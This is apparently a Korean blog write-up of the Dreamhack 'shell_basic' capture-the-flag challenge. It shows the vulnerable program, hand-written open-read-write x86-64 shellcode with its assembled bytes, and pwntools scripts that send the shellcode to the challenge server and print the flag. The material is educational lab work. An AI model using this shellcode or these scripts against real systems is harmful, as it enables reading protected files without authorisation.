본문 바로가기

[Dreamhack-System] Shell_basic WriteUp

@rn1p4st2022. 8. 10. 03:22
반응형

Description

입력한 셸코드를 실행하는 프로그램입니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다. flag 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!
플래그의 형식은 DH{…} 입니다.

 

문제 소스코드

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

 

 

Analysis

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

read, write, execcute 권한이 있는 0x1000 바이트 크기의 영역을 할당하고, 셸 코드를 해당 공간에 입력받을 수 있다. 그리고 read() 함수로 해당 영역을 읽으므로 셸 코드를 삽입하여 실행시킬 수 있는 것 같다.

그러나, execve()와 execveat() 시스템 콜을 사용할 수 없으므로 ORW 셸코드를 이용해 플래그를 가져와야 한다.

 

1. 어셈블리 언어 이용 셸코드 작성

orw 셸코드의 동작을 C언어 형식의 의사 코드로 표현하면 이렇다.

char buf[0x100];
int fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);
read(fd, buf, 0x1000); 
write(1, buf, 0x1000);

그리고, orw 셸코드를 위한 syscall은 아래와 같다.

syscall rax arg0(rdi) arg1(rsi) arg2(rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

우선, 문제는 /home/shell_basic/flag_name_is_loooooong을 읽어서 flag를 획득해야 하므로, 해당 경로를 읽을 수 있도록  /home/shell_basic/flag_name_is_loooooong를 Stack에 넣어주어야 한다.

 

문자열을 헥스 코드로 변환하기 위해 파이썬으로 코드를 구현하였다.

ori_str = "/home/shell_basic/flag_name_is_loooooong"
hex_str = ori_str.encode().hex()
arr = []

hex_r_str = ''.join(hex_str[i-2:i] for i in range(len(hex_str), 0 ,-2))

a = int(len(hex_r_str) / 8)
for i in range(a):
    arr.append(hex_r_str[i*8:(i+1)*8])

print(hex_str)
print(arr)
print(hex_r_str)

해당 경로를 헥스코드로 변환해 주면 0x2f686f6d652f7368656c6c5f62617369632f666c61675f6e616d655f69735f6c6f6f6f6f6f6f6e67이다. 하지만, stack에 저장할 때는 반대로 넣어주어야 하기 때문에 한 글자씩 순서를 뒤집어주어야 한다.

그러면, 0x676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f 이렇게 나온다.

 

이제, 어셈블리어로 작성을 해주어야 한다.

push 0x00
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax

rax 레지스터는 64비트  레지스터이기 때문에, 값을 나누어 stack에 psuh 해주어야 한다.

+ 처음에 push 0x00을 안 하고 했었는데, 계속 flag가 나오지 않아서 삽질을 했는데, 이틀 동안 보다가 제일 앞에 0x00을 푸시해주니 flag가 정상적으로 나온다. 셸 코드에서 시작 충분히 뒤쪽 메모리 주소나 0x00처럼 초기에 값을 넣은 후 플래그 주소를 넣어야 정상 작동하는 듯하다. 이유는 잘 모르겠으니, 알면 그 뒤에 정리해야겠다.

 

open

그리고, open() 시스템 콜을 위한 셸을 작성하여야 한다.

해당 경로를 rdi가 가리키도록 rdi에 rsp를 대입한다.

O_RDONLY는 0이므로, rsi는 0으로 설정하고, 파일을 읽을 때, mode는 의미를 갖지 않으므로, rdx는 0으로 설정합니다. 마지막으로 rax를 open의 syscall 값인 2로 설정한다.

; open
mov rdi, rsp ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi	; rsi = 0; RD_ONLY
mov rdx, 0	; rdx = 0 ; xor rdx, rdx
mov rax, 2	; syscall open
syscall

 

read

이제, read 셸을 작성해야 한다.

syscall의 반환 값은 rax에 저장되기 때문에, 해당 경로의 fd는 rax에 저장되게 된다. read의 첫 번째 인자 rdi에는 fd값을 넣어주어야 하므로 rdi에 rax를 대입한다.

그리고, 두 번째 인자 rsi에는 읽은 데이터를 저장할 주소를 가리킨다. 0x1000만큼을 읽어 들일 것이기 때문에, rsp의 -0x1000만큼의 값을 rsi에 대입한다.

세 번째 인자 rdx는 읽어낼 데이터의 길이이므로 0x1000을 대입힌다. read시스템 콜은 0이므로, rax에 0을 대입한다.

;read
mov rdi, rax	; rdi = fd
mov rsi, rsp
sub rsp, 0x1000
mov rdx, 0x1000
mov rax, 0
syscall

 

write

write의 첫 번째 인자 rdi는 fd, stdout(일반출력)으로 1을 할당해준다.

rsi와 rdx는 전에 사용하였던 것을 그대로 사용한다. 마지막으로, write의 syscall은 1이므로, rax에 1을 대입한다.

;write
mov rdi, 1
mov rax, 1
syscall

 

 

EXIT

코드 종료 구문이다.

; EXIT
mov rax, 0x3C	; rax = 60
mov rdi, 0
syscall

최종 코드는 이렇다.

push 0x00
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax

;open
mov rdi, rsp	; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi	; rsi = 0; RD_ONLY
mov rdx, rdx	; rdx = 0 ; xor rdx, rdx
mov rax, 2	; syscall open
syscall

;read
mov rdi, rax	; rdi = fd
mov rsi, rsp
sub rsp, 0x1000
mov rdx, 0x1000
mov rax, 0
syscall

;write
mov rdi, 1
mov rax, 1
syscall
	
; EXIT
mov rax, 0x3C	; rax = 60
mov rdi, 0
syscall

 

우리는 아스키로 어셈블리 코드를 작성하였기 때문에, 실행환경에 맞도록 컴파일해주어 실행 가능하게 만들어주어야 한다.

 

리눅스의 실행 가능한 파일의 형식은 ELF로 헤더(실행에 필요한 여러 정보), 코드(CPU가 이해할 수 있는 기계어 코드) 그리고 기타 데이터로 구성되어 있다.

 

컴파일하는 커맨드는 아래와 같다.

$ nasm -f elf64 orw.asm # orw.o 파일 생성
$ objcopy --dump-section .text=orw.bin orw.o # orw.bin 파일 생성
$ xxd orw.bin

nasm -f elf64 파일명.asm은 오브젝트 파일로 기계어화 시키는 것이다.

objcopy --dump-section .text=orw.bin orw.o는 Byte Code화 하는 것이다.

그리고, xxd 커맨드를 통해 바이트 코드를 실행하여 값을 확인한다.

필요한 기계어를 따로 추출하여 16진수 형태로 패킹해준다. 하나하나 노가다 하기 귀찮아서 파이썬을 이용하였다.

bx = "6a0048b86f6f6f6f6f6f6e675048b8616d655f69735f6c5048b8632f666c61675f6e5048b8656c6c5f626173695048b82f686f6d652f7368504889e74831f64889d2b8020000000f054889c74889e64881ec00100000ba00100000b8000000000f05bf01000000b8010000000f05b83c000000bf000000000f05"
ds = ''.join("\\x" + bx[i:i+2] for i in range(0, len(bx), 2))
print(ds)
\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x89\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x81\xec\x00\x10\x00\x00\xba\x00\x10\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05

위의 코드가 최종 셸코드이다.

 

셸코드 전송

셸코드를 만들었으니, 전송을 해야 한다. 저 코드를 드림핵 실습환경에 그냥 갖다 적으면, 정상 작동을 하지 않으므로 파이썬의 pwntools를 사용하여 전송하였다. 그냥 저 코드를 적으면 안되는 이유는 잘 모르겠다. 읽기만 하고 반환을 하지 않아서 일까.

from pwn import	*

p = remote("host3.dreamhack.games", 14461)
context.arch = 'amd64'	# x86-64 아키텍처
shellcode = "\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x89\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x81\xec\x00\x10\x00\x00\xba\x00\x10\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05"
p.recvuntil('shellcode: ') # p가 출력하는 문장이 "shellcode: "일때까지 기다
p.sendline(shellcode)	# 해당경로에 shellcode + '\n'을 입
print(p.recvrepeat(1)) # 타임아웃이 발생할때까지 데이터 수신

실행 결과

FLAG : DH{ca562d7cf1db6c55cb11c4ec350a3c0b}를 성공적으로 획득하였다.

 

2. 스켈레톤 코드를 이용 셸코드 실행

c언어를 사용하면,

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x00 \n"
    "mov rax, 0x676e6f6f6f6f6f6f \n"
    "push rax \n"
    "mov rax, 0x6c5f73695f656d61 \n"
    "push rax \n"
    "mov rax, 0x6e5f67616c662f63 \n"
    "push rax \n"
    "mov rax, 0x697361625f6c6c65 \n"
    "push rax \n"
    "mov rax, 0x68732f656d6f682f \n"
    "push rax \n"
    ";open \n"
    "mov rdi, rsp	; rdi = /home/shell_basic/flag_name_is_loooooong \n"
    "xor rsi, rsi	; rsi = 0; RD_ONLY \n"
    "mov rdx, rdx	; rdx = 0 ; xor rdx, rdx \n"
    "mov rax, 2	; syscall open \n"
    "syscall \n"
    ";read \n"
    "mov rdi, rax	; rdi = fd \n"
    "mov rsi, rsp \n"
    "sub rsp, 0x1000 \n"
    "mov rdx, 0x1000 \n"
    "mov rax, 0 \n"
    "syscall \n"
    ";write \n"
    "mov rdi, 1 \n"
    "mov rax, 1 \n"
    "syscall \n"
    "; EXIT \n"
    "mov rax, 0x3C	; rax = 60 \n"
    "mov rdi, 0 \n"
    "syscall \n");

void run_sh();

int main() { run_sh(); }

그리고

gcc -o orw_c_skeleton orw_c_skeleton.c masm=intel

로 컴파일하고...

 

하.. 이거 왜 이러지. 스켈레톤 코드를 짜본적이 없어서 이유를 모르겠다. 이것도 해결하면 추후에 정리하겠다.

 

컴파일하고, objdump -d orw_c_skeleton

으로 opcode를 확인하여, 셸 코드를 따고, 셸코드 전송은 위와 동일한 방식으로 하면 된다.

 

파이썬 스켈레톤 코드도 마찬가지이므로 생략하겠다.

 

3. Pwntools의 Shellcraft로 바로 Exploit

from pwn import *

p = remote("host3.dreamhack.games", 19722)	# 해당 사이트에 해당 포트에서 실행중인 프로세스를 대상으로 익스플로잇 수행
print(p.recvrepeat(1))	# 타임 아웃이 발생할때까지, 정보 수신

context.arch = "amd64"	# x86-64 아키텍처 설정

shellcode = shellcraft.open("/home/shell_basic/flag_name_is_loooooong")	# 해당 파일을 열어 fd를 반환하여 rax에 저장
shellcode += shellcraft.read("rax", "rsp", "0x100")
shellcode += shellcraft.write(1, 'rsp',	0x100)	# write	함수의 fd에 표준출력(1)을 주어 rsp 값 출력
p.sendline(asm(shellcode))	# 접근한 서버에 shellcode를 어세블리어로 입력, 마지막 개행 포함
print(p.recvrepeat(1))	# recvrepeat 타임아웃이 발생할때까지 데이터를 수신한다.

실행 결과

FLAG를 성공적으로 획득하였다.


느낀 점

pwntools을 사용하여 쉽게 넘어갈 수도 있었지만, 며칠 동안 붙잡고, 어셈블리로 셸코드를 작성한다고 오래 걸렸다. 그래도, 어셈블리와 syscall등 알아간 게 많아서 잘한 것 같다. 어셈블리도 모르고, 리눅스도 모르고, python 다 제대로 아는 게 없지만 이렇게 붙잡으면서, 풀고 설명을 해보니까 도움이 많이 되는 것 같다.

반응형
rn1p4st
@rn1p4st :: 푸들푸들

RECORD STUDY

목차